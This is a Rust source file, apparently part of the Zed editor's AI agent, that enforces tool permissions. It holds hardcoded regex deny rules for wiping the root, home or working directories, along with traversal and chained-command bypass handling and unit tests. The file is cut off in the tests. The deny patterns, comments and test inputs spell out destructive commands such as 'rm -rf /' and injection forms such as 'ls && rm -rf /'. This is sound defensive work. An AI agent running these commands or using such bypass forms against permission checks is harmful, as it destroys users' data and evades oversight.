tool_permissions.rs

   1use crate::AgentTool;
   2use crate::tools::TerminalTool;
   3use agent_settings::{AgentSettings, CompiledRegex, ToolPermissions, ToolRules};
   4use settings::ToolPermissionMode;
   5use shell_command_parser::extract_commands;
   6use std::path::{Component, Path};
   7use std::sync::LazyLock;
   8use util::shell::ShellKind;
   9
  10const HARDCODED_SECURITY_DENIAL_MESSAGE: &str = "Blocked by built-in security rule. This operation is considered too \
  11     harmful to be allowed, and cannot be overridden by settings.";
  12
  13/// Security rules that are always enforced and cannot be overridden by any setting.
  14/// These protect against catastrophic operations like wiping filesystems.
  15pub struct HardcodedSecurityRules {
  16    pub terminal_deny: Vec<CompiledRegex>,
  17}
  18
  19pub static HARDCODED_SECURITY_RULES: LazyLock<HardcodedSecurityRules> = LazyLock::new(|| {
  20    // Flag group matches any short flags (-rf, -rfv, -v, etc.) or long flags (--recursive, --force, etc.)
  21    // This ensures extra flags like -rfv, -v -rf, --recursive --force don't bypass the rules.
  22    const FLAGS: &str = r"(--[a-zA-Z0-9][-a-zA-Z0-9_]*(=[^\s]*)?\s+|-[a-zA-Z]+\s+)*";
  23    // Trailing flags that may appear after the path operand (GNU rm accepts flags after operands)
  24    const TRAILING_FLAGS: &str = r"(\s+--[a-zA-Z0-9][-a-zA-Z0-9_]*(=[^\s]*)?|\s+-[a-zA-Z]+)*\s*";
  25
  26    HardcodedSecurityRules {
  27        terminal_deny: vec![
  28            // Recursive deletion of root - "rm -rf /", "rm -rfv /", "rm -rf /*", "rm / -rf"
  29            CompiledRegex::new(
  30                &format!(r"\brm\s+{FLAGS}(--\s+)?/\*?{TRAILING_FLAGS}$"),
  31                false,
  32            )
  33            .expect("hardcoded regex should compile"),
  34            // Recursive deletion of home - "rm -rf ~" or "rm -rf ~/" or "rm -rf ~/*" or "rm ~ -rf" (but not ~/subdir)
  35            CompiledRegex::new(
  36                &format!(r"\brm\s+{FLAGS}(--\s+)?~/?\*?{TRAILING_FLAGS}$"),
  37                false,
  38            )
  39            .expect("hardcoded regex should compile"),
  40            // Recursive deletion of home via $HOME - "rm -rf $HOME" or "rm -rf ${HOME}" or "rm $HOME -rf" or with /*
  41            CompiledRegex::new(
  42                &format!(r"\brm\s+{FLAGS}(--\s+)?(\$HOME|\$\{{HOME\}})/?(\*)?{TRAILING_FLAGS}$"),
  43                false,
  44            )
  45            .expect("hardcoded regex should compile"),
  46            // Recursive deletion of current directory - "rm -rf ." or "rm -rf ./" or "rm -rf ./*" or "rm . -rf"
  47            CompiledRegex::new(
  48                &format!(r"\brm\s+{FLAGS}(--\s+)?\./?\*?{TRAILING_FLAGS}$"),
  49                false,
  50            )
  51            .expect("hardcoded regex should compile"),
  52            // Recursive deletion of parent directory - "rm -rf .." or "rm -rf ../" or "rm -rf ../*" or "rm .. -rf"
  53            CompiledRegex::new(
  54                &format!(r"\brm\s+{FLAGS}(--\s+)?\.\./?\*?{TRAILING_FLAGS}$"),
  55                false,
  56            )
  57            .expect("hardcoded regex should compile"),
  58        ],
  59    }
  60});
  61
  62/// Checks if input matches any hardcoded security rules that cannot be bypassed.
  63/// Returns a Deny decision if blocked, None otherwise.
  64fn check_hardcoded_security_rules(
  65    tool_name: &str,
  66    inputs: &[String],
  67    shell_kind: ShellKind,
  68) -> Option<ToolPermissionDecision> {
  69    // Currently only terminal tool has hardcoded rules
  70    if tool_name != TerminalTool::NAME {
  71        return None;
  72    }
  73
  74    let rules = &*HARDCODED_SECURITY_RULES;
  75    let terminal_patterns = &rules.terminal_deny;
  76
  77    for input in inputs {
  78        // First: check the original input as-is (and its path-normalized form)
  79        if matches_hardcoded_patterns(input, terminal_patterns) {
  80            return Some(ToolPermissionDecision::Deny(
  81                HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
  82            ));
  83        }
  84
  85        // Second: parse and check individual sub-commands (for chained commands)
  86        if shell_kind.supports_posix_chaining() {
  87            if let Some(commands) = extract_commands(input) {
  88                for command in &commands {
  89                    if matches_hardcoded_patterns(command, terminal_patterns) {
  90                        return Some(ToolPermissionDecision::Deny(
  91                            HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
  92                        ));
  93                    }
  94                }
  95            }
  96        }
  97    }
  98
  99    None
 100}
 101
 102/// Checks a single command against hardcoded patterns, both as-is and with
 103/// path arguments normalized (to catch traversal bypasses like `rm -rf /tmp/../../`
 104/// and multi-path bypasses like `rm -rf /tmp /`).
 105fn matches_hardcoded_patterns(command: &str, patterns: &[CompiledRegex]) -> bool {
 106    for pattern in patterns {
 107        if pattern.is_match(command) {
 108            return true;
 109        }
 110    }
 111
 112    for expanded in expand_rm_to_single_path_commands(command) {
 113        for pattern in patterns {
 114            if pattern.is_match(&expanded) {
 115                return true;
 116            }
 117        }
 118    }
 119
 120    false
 121}
 122
 123/// For rm commands, expands multi-path arguments into individual single-path
 124/// commands with normalized paths. This catches both traversal bypasses like
 125/// `rm -rf /tmp/../../` and multi-path bypasses like `rm -rf /tmp /`.
 126fn expand_rm_to_single_path_commands(command: &str) -> Vec<String> {
 127    let trimmed = command.trim();
 128
 129    let first_token = trimmed.split_whitespace().next();
 130    if !first_token.is_some_and(|t| t.eq_ignore_ascii_case("rm")) {
 131        return vec![];
 132    }
 133
 134    let parts: Vec<&str> = trimmed.split_whitespace().collect();
 135    let mut flags = Vec::new();
 136    let mut paths = Vec::new();
 137    let mut past_double_dash = false;
 138
 139    for part in parts.iter().skip(1) {
 140        if !past_double_dash && *part == "--" {
 141            past_double_dash = true;
 142            flags.push(*part);
 143            continue;
 144        }
 145        if !past_double_dash && part.starts_with('-') {
 146            flags.push(*part);
 147        } else {
 148            paths.push(*part);
 149        }
 150    }
 151
 152    let flags_str = if flags.is_empty() {
 153        String::new()
 154    } else {
 155        format!("{} ", flags.join(" "))
 156    };
 157
 158    let mut results = Vec::new();
 159    for path in &paths {
 160        if path.starts_with('$') {
 161            let home_prefix = if path.starts_with("${HOME}") {
 162                Some("${HOME}")
 163            } else if path.starts_with("$HOME") {
 164                Some("$HOME")
 165            } else {
 166                None
 167            };
 168
 169            if let Some(prefix) = home_prefix {
 170                let suffix = &path[prefix.len()..];
 171                if suffix.is_empty() {
 172                    results.push(format!("rm {flags_str}{path}"));
 173                } else if suffix.starts_with('/') {
 174                    let normalized_suffix = normalize_path(suffix);
 175                    let reconstructed = if normalized_suffix == "/" {
 176                        prefix.to_string()
 177                    } else {
 178                        format!("{prefix}{normalized_suffix}")
 179                    };
 180                    results.push(format!("rm {flags_str}{reconstructed}"));
 181                } else {
 182                    results.push(format!("rm {flags_str}{path}"));
 183                }
 184            } else {
 185                results.push(format!("rm {flags_str}{path}"));
 186            }
 187            continue;
 188        }
 189
 190        let mut normalized = normalize_path(path);
 191        if normalized.is_empty() && !Path::new(path).has_root() {
 192            normalized = ".".to_string();
 193        }
 194
 195        results.push(format!("rm {flags_str}{normalized}"));
 196    }
 197
 198    results
 199}
 200
 201#[derive(Debug, Clone, PartialEq, Eq)]
 202pub enum ToolPermissionDecision {
 203    Allow,
 204    Deny(String),
 205    Confirm,
 206}
 207
 208impl ToolPermissionDecision {
 209    /// Determines the permission decision for a tool invocation based on configured rules.
 210    ///
 211    /// # Precedence Order (highest to lowest)
 212    ///
 213    /// 1. **Hardcoded security rules** - Critical safety checks (e.g., blocking `rm -rf /`)
 214    ///    that cannot be bypassed by any user settings.
 215    /// 2. **`always_deny`** - If any deny pattern matches, the tool call is blocked immediately.
 216    ///    This takes precedence over `always_confirm` and `always_allow` patterns.
 217    /// 3. **`always_confirm`** - If any confirm pattern matches (and no deny matched),
 218    ///    the user is prompted for confirmation.
 219    /// 4. **`always_allow`** - If any allow pattern matches (and no deny/confirm matched),
 220    ///    the tool call proceeds without prompting.
 221    /// 5. **Tool-specific `default`** - If no patterns match and the tool has an explicit
 222    ///    `default` configured, that mode is used.
 223    /// 6. **Global `default`** - Falls back to `tool_permissions.default` when no
 224    ///    tool-specific default is set, or when the tool has no entry at all.
 225    ///
 226    /// # Shell Compatibility (Terminal Tool Only)
 227    ///
 228    /// For the terminal tool, commands are parsed to extract sub-commands for security.
 229    /// All currently supported `ShellKind` variants are treated as compatible because
 230    /// brush-parser can handle their command chaining syntax. If a new `ShellKind`
 231    /// variant is added that brush-parser cannot safely parse, it should be excluded
 232    /// from `ShellKind::supports_posix_chaining()`, which will cause `always_allow`
 233    /// patterns to be disabled for that shell.
 234    ///
 235    /// # Pattern Matching Tips
 236    ///
 237    /// Patterns are matched as regular expressions against the tool input (e.g., the command
 238    /// string for the terminal tool). Some tips for writing effective patterns:
 239    ///
 240    /// - Use word boundaries (`\b`) to avoid partial matches. For example, pattern `rm` will
 241    ///   match "storm" and "arms", but `\brm\b` will only match the standalone word "rm".
 242    ///   This is important for security rules where you want to block specific commands
 243    ///   without accidentally blocking unrelated commands that happen to contain the same
 244    ///   substring.
 245    /// - Patterns are case-insensitive by default. Set `case_sensitive: true` for exact matching.
 246    /// - Use `^` and `$` anchors to match the start/end of the input.
 247    pub fn from_input(
 248        tool_name: &str,
 249        inputs: &[String],
 250        permissions: &ToolPermissions,
 251        shell_kind: ShellKind,
 252    ) -> ToolPermissionDecision {
 253        // First, check hardcoded security rules, such as banning `rm -rf /` in terminal tool.
 254        // These cannot be bypassed by any user settings.
 255        if let Some(denial) = check_hardcoded_security_rules(tool_name, inputs, shell_kind) {
 256            return denial;
 257        }
 258
 259        let rules = match permissions.tools.get(tool_name) {
 260            Some(rules) => rules,
 261            None => {
 262                // No tool-specific rules, use the global default
 263                return match permissions.default {
 264                    ToolPermissionMode::Allow => ToolPermissionDecision::Allow,
 265                    ToolPermissionMode::Deny => {
 266                        ToolPermissionDecision::Deny("Blocked by global default: deny".into())
 267                    }
 268                    ToolPermissionMode::Confirm => ToolPermissionDecision::Confirm,
 269                };
 270            }
 271        };
 272
 273        // Check for invalid regex patterns before evaluating rules.
 274        // If any patterns failed to compile, block the tool call entirely.
 275        if let Some(error) = check_invalid_patterns(tool_name, rules) {
 276            return ToolPermissionDecision::Deny(error);
 277        }
 278
 279        // For the terminal tool, parse each input command to extract all sub-commands.
 280        // This prevents shell injection attacks where a user configures an allow
 281        // pattern like "^ls" and an attacker crafts "ls && rm -rf /".
 282        //
 283        // If parsing fails or the shell syntax is unsupported, always_allow is
 284        // disabled for this command (we set allow_enabled to false to signal this).
 285        if tool_name == TerminalTool::NAME {
 286            // Our shell parser (brush-parser) only supports POSIX-like shell syntax.
 287            // See the doc comment above for the list of compatible/incompatible shells.
 288            if !shell_kind.supports_posix_chaining() {
 289                // For shells with incompatible syntax, we can't reliably parse
 290                // the command to extract sub-commands.
 291                if !rules.always_allow.is_empty() {
 292                    // If the user has configured always_allow patterns, we must deny
 293                    // because we can't safely verify the command doesn't contain
 294                    // hidden sub-commands that bypass the allow patterns.
 295                    return ToolPermissionDecision::Deny(format!(
 296                        "The {} shell does not support \"always allow\" patterns for the terminal \
 297                         tool because Zed cannot parse its command chaining syntax. Please remove \
 298                         the always_allow patterns from your tool_permissions settings, or switch \
 299                         to a POSIX-conforming shell.",
 300                        shell_kind
 301                    ));
 302                }
 303                // No always_allow rules, so we can still check deny/confirm patterns.
 304                return check_commands(
 305                    inputs.iter().map(|s| s.to_string()),
 306                    rules,
 307                    tool_name,
 308                    false,
 309                    permissions.default,
 310                );
 311            }
 312
 313            // Expand each input into its sub-commands and check them all together.
 314            let mut all_commands = Vec::new();
 315            let mut any_parse_failed = false;
 316            for input in inputs {
 317                match extract_commands(input) {
 318                    Some(commands) => all_commands.extend(commands),
 319                    None => {
 320                        any_parse_failed = true;
 321                        all_commands.push(input.to_string());
 322                    }
 323                }
 324            }
 325            // If any command failed to parse, disable allow patterns for safety.
 326            check_commands(
 327                all_commands,
 328                rules,
 329                tool_name,
 330                !any_parse_failed,
 331                permissions.default,
 332            )
 333        } else {
 334            check_commands(
 335                inputs.iter().map(|s| s.to_string()),
 336                rules,
 337                tool_name,
 338                true,
 339                permissions.default,
 340            )
 341        }
 342    }
 343}
 344
 345/// Evaluates permission rules against a set of commands.
 346///
 347/// This function performs a single pass through all commands with the following logic:
 348/// - **DENY**: If ANY command matches a deny pattern, deny immediately (short-circuit)
 349/// - **CONFIRM**: Track if ANY command matches a confirm pattern
 350/// - **ALLOW**: Track if ALL commands match at least one allow pattern
 351///
 352/// The `allow_enabled` flag controls whether allow patterns are checked. This is set
 353/// to `false` when we can't reliably parse shell commands (e.g., parse failures or
 354/// unsupported shell syntax), ensuring we don't auto-allow potentially dangerous commands.
 355fn check_commands(
 356    commands: impl IntoIterator<Item = String>,
 357    rules: &ToolRules,
 358    tool_name: &str,
 359    allow_enabled: bool,
 360    global_default: ToolPermissionMode,
 361) -> ToolPermissionDecision {
 362    // Single pass through all commands:
 363    // - DENY: If ANY command matches a deny pattern, deny immediately (short-circuit)
 364    // - CONFIRM: Track if ANY command matches a confirm pattern
 365    // - ALLOW: Track if ALL commands match at least one allow pattern
 366    let mut any_matched_confirm = false;
 367    let mut all_matched_allow = true;
 368    let mut had_any_commands = false;
 369
 370    for command in commands {
 371        had_any_commands = true;
 372
 373        // DENY: immediate return if any command matches a deny pattern
 374        if rules.always_deny.iter().any(|r| r.is_match(&command)) {
 375            return ToolPermissionDecision::Deny(format!(
 376                "Command blocked by security rule for {} tool",
 377                tool_name
 378            ));
 379        }
 380
 381        // CONFIRM: remember if any command matches a confirm pattern
 382        if rules.always_confirm.iter().any(|r| r.is_match(&command)) {
 383            any_matched_confirm = true;
 384        }
 385
 386        // ALLOW: track if all commands match at least one allow pattern
 387        if !rules.always_allow.iter().any(|r| r.is_match(&command)) {
 388            all_matched_allow = false;
 389        }
 390    }
 391
 392    // After processing all commands, check accumulated state
 393    if any_matched_confirm {
 394        return ToolPermissionDecision::Confirm;
 395    }
 396
 397    if allow_enabled && all_matched_allow && had_any_commands {
 398        return ToolPermissionDecision::Allow;
 399    }
 400
 401    match rules.default.unwrap_or(global_default) {
 402        ToolPermissionMode::Deny => {
 403            ToolPermissionDecision::Deny(format!("{} tool is disabled", tool_name))
 404        }
 405        ToolPermissionMode::Allow => ToolPermissionDecision::Allow,
 406        ToolPermissionMode::Confirm => ToolPermissionDecision::Confirm,
 407    }
 408}
 409
 410/// Checks if the tool rules contain any invalid regex patterns.
 411/// Returns an error message if invalid patterns are found.
 412fn check_invalid_patterns(tool_name: &str, rules: &ToolRules) -> Option<String> {
 413    if rules.invalid_patterns.is_empty() {
 414        return None;
 415    }
 416
 417    let count = rules.invalid_patterns.len();
 418    let pattern_word = if count == 1 { "pattern" } else { "patterns" };
 419
 420    Some(format!(
 421        "The {} tool cannot run because {} regex {} failed to compile. \
 422         Please fix the invalid patterns in your tool_permissions settings.",
 423        tool_name, count, pattern_word
 424    ))
 425}
 426
 427/// Convenience wrapper that extracts permission settings from `AgentSettings`.
 428///
 429/// This is the primary entry point for tools to check permissions. It extracts
 430/// `tool_permissions` from the settings and
 431/// delegates to [`ToolPermissionDecision::from_input`], using the system shell.
 432pub fn decide_permission_from_settings(
 433    tool_name: &str,
 434    inputs: &[String],
 435    settings: &AgentSettings,
 436) -> ToolPermissionDecision {
 437    ToolPermissionDecision::from_input(
 438        tool_name,
 439        inputs,
 440        &settings.tool_permissions,
 441        ShellKind::system(),
 442    )
 443}
 444
 445/// Normalizes a path by collapsing `.` and `..` segments without touching the filesystem.
 446pub fn normalize_path(raw: &str) -> String {
 447    let is_absolute = Path::new(raw).has_root();
 448    let mut components: Vec<&str> = Vec::new();
 449    for component in Path::new(raw).components() {
 450        match component {
 451            Component::CurDir => {}
 452            Component::ParentDir => {
 453                if components.last() == Some(&"..") {
 454                    components.push("..");
 455                } else if !components.is_empty() {
 456                    components.pop();
 457                } else if !is_absolute {
 458                    components.push("..");
 459                }
 460            }
 461            Component::Normal(segment) => {
 462                if let Some(s) = segment.to_str() {
 463                    components.push(s);
 464                }
 465            }
 466            Component::RootDir | Component::Prefix(_) => {}
 467        }
 468    }
 469    let joined = components.join("/");
 470    if is_absolute {
 471        format!("/{joined}")
 472    } else {
 473        joined
 474    }
 475}
 476
 477/// Decides permission by checking both the raw input path and a simplified/canonicalized
 478/// version. Returns the most restrictive decision (Deny > Confirm > Allow).
 479pub fn decide_permission_for_paths(
 480    tool_name: &str,
 481    raw_paths: &[String],
 482    settings: &AgentSettings,
 483) -> ToolPermissionDecision {
 484    let raw_inputs: Vec<String> = raw_paths.to_vec();
 485    let raw_decision = decide_permission_from_settings(tool_name, &raw_inputs, settings);
 486
 487    let normalized: Vec<String> = raw_paths.iter().map(|p| normalize_path(p)).collect();
 488    let any_changed = raw_paths
 489        .iter()
 490        .zip(&normalized)
 491        .any(|(raw, norm)| raw != norm);
 492    if !any_changed {
 493        return raw_decision;
 494    }
 495
 496    let normalized_decision = decide_permission_from_settings(tool_name, &normalized, settings);
 497
 498    most_restrictive(raw_decision, normalized_decision)
 499}
 500
 501pub fn decide_permission_for_path(
 502    tool_name: &str,
 503    raw_path: &str,
 504    settings: &AgentSettings,
 505) -> ToolPermissionDecision {
 506    decide_permission_for_paths(tool_name, &[raw_path.to_string()], settings)
 507}
 508
 509pub fn most_restrictive(
 510    a: ToolPermissionDecision,
 511    b: ToolPermissionDecision,
 512) -> ToolPermissionDecision {
 513    match (&a, &b) {
 514        (ToolPermissionDecision::Deny(_), _) => a,
 515        (_, ToolPermissionDecision::Deny(_)) => b,
 516        (ToolPermissionDecision::Confirm, _) | (_, ToolPermissionDecision::Confirm) => {
 517            ToolPermissionDecision::Confirm
 518        }
 519        _ => a,
 520    }
 521}
 522
 523#[cfg(test)]
 524mod tests {
 525    use super::*;
 526    use crate::AgentTool;
 527    use crate::pattern_extraction::extract_terminal_pattern;
 528    use crate::tools::{DeletePathTool, EditFileTool, FetchTool, TerminalTool};
 529    use agent_settings::{AgentProfileId, CompiledRegex, InvalidRegexPattern, ToolRules};
 530    use gpui::px;
 531    use settings::{DefaultAgentView, DockPosition, NotifyWhenAgentWaiting};
 532    use std::sync::Arc;
 533
 534    fn test_agent_settings(tool_permissions: ToolPermissions) -> AgentSettings {
 535        AgentSettings {
 536            enabled: true,
 537            button: true,
 538            dock: DockPosition::Right,
 539            default_width: px(300.),
 540            default_height: px(600.),
 541            default_model: None,
 542            inline_assistant_model: None,
 543            inline_assistant_use_streaming_tools: false,
 544            commit_message_model: None,
 545            thread_summary_model: None,
 546            inline_alternatives: vec![],
 547            favorite_models: vec![],
 548            default_profile: AgentProfileId::default(),
 549            default_view: DefaultAgentView::Thread,
 550            profiles: Default::default(),
 551            notify_when_agent_waiting: NotifyWhenAgentWaiting::default(),
 552            play_sound_when_agent_done: false,
 553            single_file_review: false,
 554            model_parameters: vec![],
 555            enable_feedback: false,
 556            expand_edit_card: true,
 557            expand_terminal_card: true,
 558            cancel_generation_on_terminal_stop: true,
 559            use_modifier_to_send: true,
 560            message_editor_min_lines: 1,
 561            tool_permissions,
 562            show_turn_stats: false,
 563            new_thread_location: Default::default(),
 564        }
 565    }
 566
 567    fn pattern(command: &str) -> &'static str {
 568        Box::leak(
 569            extract_terminal_pattern(command)
 570                .expect("failed to extract pattern")
 571                .into_boxed_str(),
 572        )
 573    }
 574
 575    struct PermTest {
 576        tool: &'static str,
 577        input: &'static str,
 578        mode: Option<ToolPermissionMode>,
 579        allow: Vec<(&'static str, bool)>,
 580        deny: Vec<(&'static str, bool)>,
 581        confirm: Vec<(&'static str, bool)>,
 582        global_default: ToolPermissionMode,
 583        shell: ShellKind,
 584    }
 585
 586    impl PermTest {
 587        fn new(input: &'static str) -> Self {
 588            Self {
 589                tool: TerminalTool::NAME,
 590                input,
 591                mode: None,
 592                allow: vec![],
 593                deny: vec![],
 594                confirm: vec![],
 595                global_default: ToolPermissionMode::Confirm,
 596                shell: ShellKind::Posix,
 597            }
 598        }
 599
 600        fn tool(mut self, t: &'static str) -> Self {
 601            self.tool = t;
 602            self
 603        }
 604        fn mode(mut self, m: ToolPermissionMode) -> Self {
 605            self.mode = Some(m);
 606            self
 607        }
 608        fn allow(mut self, p: &[&'static str]) -> Self {
 609            self.allow = p.iter().map(|s| (*s, false)).collect();
 610            self
 611        }
 612        fn allow_case_sensitive(mut self, p: &[&'static str]) -> Self {
 613            self.allow = p.iter().map(|s| (*s, true)).collect();
 614            self
 615        }
 616        fn deny(mut self, p: &[&'static str]) -> Self {
 617            self.deny = p.iter().map(|s| (*s, false)).collect();
 618            self
 619        }
 620        fn deny_case_sensitive(mut self, p: &[&'static str]) -> Self {
 621            self.deny = p.iter().map(|s| (*s, true)).collect();
 622            self
 623        }
 624        fn confirm(mut self, p: &[&'static str]) -> Self {
 625            self.confirm = p.iter().map(|s| (*s, false)).collect();
 626            self
 627        }
 628        fn global_default(mut self, m: ToolPermissionMode) -> Self {
 629            self.global_default = m;
 630            self
 631        }
 632        fn shell(mut self, s: ShellKind) -> Self {
 633            self.shell = s;
 634            self
 635        }
 636
 637        fn is_allow(self) {
 638            assert_eq!(
 639                self.run(),
 640                ToolPermissionDecision::Allow,
 641                "expected Allow for '{}'",
 642                self.input
 643            );
 644        }
 645        fn is_deny(self) {
 646            assert!(
 647                matches!(self.run(), ToolPermissionDecision::Deny(_)),
 648                "expected Deny for '{}'",
 649                self.input
 650            );
 651        }
 652        fn is_confirm(self) {
 653            assert_eq!(
 654                self.run(),
 655                ToolPermissionDecision::Confirm,
 656                "expected Confirm for '{}'",
 657                self.input
 658            );
 659        }
 660
 661        fn run(&self) -> ToolPermissionDecision {
 662            let mut tools = collections::HashMap::default();
 663            tools.insert(
 664                Arc::from(self.tool),
 665                ToolRules {
 666                    default: self.mode,
 667                    always_allow: self
 668                        .allow
 669                        .iter()
 670                        .map(|(p, cs)| {
 671                            CompiledRegex::new(p, *cs)
 672                                .unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
 673                        })
 674                        .collect(),
 675                    always_deny: self
 676                        .deny
 677                        .iter()
 678                        .map(|(p, cs)| {
 679                            CompiledRegex::new(p, *cs)
 680                                .unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
 681                        })
 682                        .collect(),
 683                    always_confirm: self
 684                        .confirm
 685                        .iter()
 686                        .map(|(p, cs)| {
 687                            CompiledRegex::new(p, *cs)
 688                                .unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
 689                        })
 690                        .collect(),
 691                    invalid_patterns: vec![],
 692                },
 693            );
 694            ToolPermissionDecision::from_input(
 695                self.tool,
 696                &[self.input.to_string()],
 697                &ToolPermissions {
 698                    default: self.global_default,
 699                    tools,
 700                },
 701                self.shell,
 702            )
 703        }
 704    }
 705
 706    fn t(input: &'static str) -> PermTest {
 707        PermTest::new(input)
 708    }
 709
 710    fn no_rules(input: &str, global_default: ToolPermissionMode) -> ToolPermissionDecision {
 711        ToolPermissionDecision::from_input(
 712            TerminalTool::NAME,
 713            &[input.to_string()],
 714            &ToolPermissions {
 715                default: global_default,
 716                tools: collections::HashMap::default(),
 717            },
 718            ShellKind::Posix,
 719        )
 720    }
 721
 722    // allow pattern matches
 723    #[test]
 724    fn allow_exact_match() {
 725        t("cargo test").allow(&[pattern("cargo")]).is_allow();
 726    }
 727    #[test]
 728    fn allow_one_of_many_patterns() {
 729        t("npm install")
 730            .allow(&[pattern("cargo"), pattern("npm")])
 731            .is_allow();
 732        t("git status")
 733            .allow(&[pattern("cargo"), pattern("npm"), pattern("git")])
 734            .is_allow();
 735    }
 736    #[test]
 737    fn allow_middle_pattern() {
 738        t("run cargo now").allow(&["cargo"]).is_allow();
 739    }
 740    #[test]
 741    fn allow_anchor_prevents_middle() {
 742        t("run cargo now").allow(&["^cargo"]).is_confirm();
 743    }
 744
 745    // allow pattern doesn't match -> falls through
 746    #[test]
 747    fn allow_no_match_confirms() {
 748        t("python x.py").allow(&[pattern("cargo")]).is_confirm();
 749    }
 750    #[test]
 751    fn allow_no_match_global_allows() {
 752        t("python x.py")
 753            .allow(&[pattern("cargo")])
 754            .global_default(ToolPermissionMode::Allow)
 755            .is_allow();
 756    }
 757    #[test]
 758    fn allow_no_match_tool_confirm_overrides_global_allow() {
 759        t("python x.py")
 760            .allow(&[pattern("cargo")])
 761            .mode(ToolPermissionMode::Confirm)
 762            .global_default(ToolPermissionMode::Allow)
 763            .is_confirm();
 764    }
 765    #[test]
 766    fn allow_no_match_tool_allow_overrides_global_confirm() {
 767        t("python x.py")
 768            .allow(&[pattern("cargo")])
 769            .mode(ToolPermissionMode::Allow)
 770            .global_default(ToolPermissionMode::Confirm)
 771            .is_allow();
 772    }
 773
 774    // deny pattern matches (using commands that aren't blocked by hardcoded rules)
 775    #[test]
 776    fn deny_blocks() {
 777        t("rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
 778    }
 779    // global default: allow does NOT bypass user-configured deny rules
 780    #[test]
 781    fn deny_not_bypassed_by_global_default_allow() {
 782        t("rm -rf ./temp")
 783            .deny(&["rm\\s+-rf"])
 784            .global_default(ToolPermissionMode::Allow)
 785            .is_deny();
 786    }
 787    #[test]
 788    fn deny_blocks_with_mode_allow() {
 789        t("rm -rf ./temp")
 790            .deny(&["rm\\s+-rf"])
 791            .mode(ToolPermissionMode::Allow)
 792            .is_deny();
 793    }
 794    #[test]
 795    fn deny_middle_match() {
 796        t("echo rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
 797    }
 798    #[test]
 799    fn deny_no_match_falls_through() {
 800        t("ls -la")
 801            .deny(&["rm\\s+-rf"])
 802            .mode(ToolPermissionMode::Allow)
 803            .is_allow();
 804    }
 805
 806    // confirm pattern matches
 807    #[test]
 808    fn confirm_requires_confirm() {
 809        t("sudo apt install")
 810            .confirm(&[pattern("sudo")])
 811            .is_confirm();
 812    }
 813    // global default: allow does NOT bypass user-configured confirm rules
 814    #[test]
 815    fn global_default_allow_does_not_override_confirm_pattern() {
 816        t("sudo reboot")
 817            .confirm(&[pattern("sudo")])
 818            .global_default(ToolPermissionMode::Allow)
 819            .is_confirm();
 820    }
 821    #[test]
 822    fn confirm_overrides_mode_allow() {
 823        t("sudo x")
 824            .confirm(&["sudo"])
 825            .mode(ToolPermissionMode::Allow)
 826            .is_confirm();
 827    }
 828
 829    // confirm beats allow
 830    #[test]
 831    fn confirm_beats_allow() {
 832        t("git push --force")
 833            .allow(&[pattern("git")])
 834            .confirm(&["--force"])
 835            .is_confirm();
 836    }
 837    #[test]
 838    fn confirm_beats_allow_overlap() {
 839        t("deploy prod")
 840            .allow(&["deploy"])
 841            .confirm(&["prod"])
 842            .is_confirm();
 843    }
 844    #[test]
 845    fn allow_when_confirm_no_match() {
 846        t("git status")
 847            .allow(&[pattern("git")])
 848            .confirm(&["--force"])
 849            .is_allow();
 850    }
 851
 852    // deny beats allow
 853    #[test]
 854    fn deny_beats_allow() {
 855        t("rm -rf ./tmp/x")
 856            .allow(&["/tmp/"])
 857            .deny(&["rm\\s+-rf"])
 858            .is_deny();
 859    }
 860
 861    #[test]
 862    fn deny_beats_confirm() {
 863        t("sudo rm -rf ./temp")
 864            .confirm(&["sudo"])
 865            .deny(&["rm\\s+-rf"])
 866            .is_deny();
 867    }
 868
 869    // deny beats everything
 870    #[test]
 871    fn deny_beats_all() {
 872        t("bad cmd")
 873            .allow(&["cmd"])
 874            .confirm(&["cmd"])
 875            .deny(&["bad"])
 876            .is_deny();
 877    }
 878
 879    // no patterns -> default
 880    #[test]
 881    fn default_confirm() {
 882        t("python x.py")
 883            .mode(ToolPermissionMode::Confirm)
 884            .is_confirm();
 885    }
 886    #[test]
 887    fn default_allow() {
 888        t("python x.py").mode(ToolPermissionMode::Allow).is_allow();
 889    }
 890    #[test]
 891    fn default_deny() {
 892        t("python x.py").mode(ToolPermissionMode::Deny).is_deny();
 893    }
 894    // Tool-specific default takes precedence over global default
 895    #[test]
 896    fn tool_default_deny_overrides_global_allow() {
 897        t("python x.py")
 898            .mode(ToolPermissionMode::Deny)
 899            .global_default(ToolPermissionMode::Allow)
 900            .is_deny();
 901    }
 902
 903    // Tool-specific default takes precedence over global default
 904    #[test]
 905    fn tool_default_confirm_overrides_global_allow() {
 906        t("x")
 907            .mode(ToolPermissionMode::Confirm)
 908            .global_default(ToolPermissionMode::Allow)
 909            .is_confirm();
 910    }
 911
 912    #[test]
 913    fn no_rules_uses_global_default() {
 914        assert_eq!(
 915            no_rules("x", ToolPermissionMode::Confirm),
 916            ToolPermissionDecision::Confirm
 917        );
 918        assert_eq!(
 919            no_rules("x", ToolPermissionMode::Allow),
 920            ToolPermissionDecision::Allow
 921        );
 922        assert!(matches!(
 923            no_rules("x", ToolPermissionMode::Deny),
 924            ToolPermissionDecision::Deny(_)
 925        ));
 926    }
 927
 928    #[test]
 929    fn empty_input_no_match() {
 930        t("")
 931            .deny(&["rm"])
 932            .mode(ToolPermissionMode::Allow)
 933            .is_allow();
 934    }
 935
 936    #[test]
 937    fn empty_input_with_allow_falls_to_default() {
 938        t("").allow(&["^ls"]).is_confirm();
 939    }
 940
 941    #[test]
 942    fn multi_deny_any_match() {
 943        t("rm x").deny(&["rm", "del", "drop"]).is_deny();
 944        t("drop x").deny(&["rm", "del", "drop"]).is_deny();
 945    }
 946
 947    #[test]
 948    fn multi_allow_any_match() {
 949        t("cargo x").allow(&["^cargo", "^npm", "^git"]).is_allow();
 950    }
 951    #[test]
 952    fn multi_none_match() {
 953        t("python x")
 954            .allow(&["^cargo", "^npm"])
 955            .deny(&["rm"])
 956            .is_confirm();
 957    }
 958
 959    // tool isolation
 960    #[test]
 961    fn other_tool_not_affected() {
 962        let mut tools = collections::HashMap::default();
 963        tools.insert(
 964            Arc::from(TerminalTool::NAME),
 965            ToolRules {
 966                default: Some(ToolPermissionMode::Deny),
 967                always_allow: vec![],
 968                always_deny: vec![],
 969                always_confirm: vec![],
